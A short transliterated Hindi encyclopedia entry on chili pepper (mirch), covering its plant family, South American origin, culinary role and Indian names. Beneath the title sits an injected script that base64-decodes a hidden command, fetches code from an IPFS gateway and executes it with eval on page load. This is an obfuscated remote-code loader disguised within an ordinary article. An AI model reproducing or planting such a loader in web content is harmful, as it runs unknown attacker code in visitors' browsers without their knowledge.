मिर्च
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
thumb|250px|mirch mirch kaipsikam vansh ke ek phal mana jata hai, tatha yah solenesi (aangrezi: Solanaceae) kul ka ek sadasy hai. mirch prapt karane ke lie isaki kheti ki jati hai. mirch bharatiy vyanjan mean dala jane vala mahattvapoorn masala hai.
- mirch ki kheti ki shuruat dakshin amerika se huee thi aur ab poore vishv mean isaki kheti ki jati hai.
- mirch khane ko chatapata bana deta hai, visheshakar sabjiyoan ko.
- log isaka istemal taji hari mirch aur sookhi lal mirch ke taur par karate haian.
- bharatiy nam : lal mirch, hari mirch, morachi, lanka, lal maracha, mirapakaya adi.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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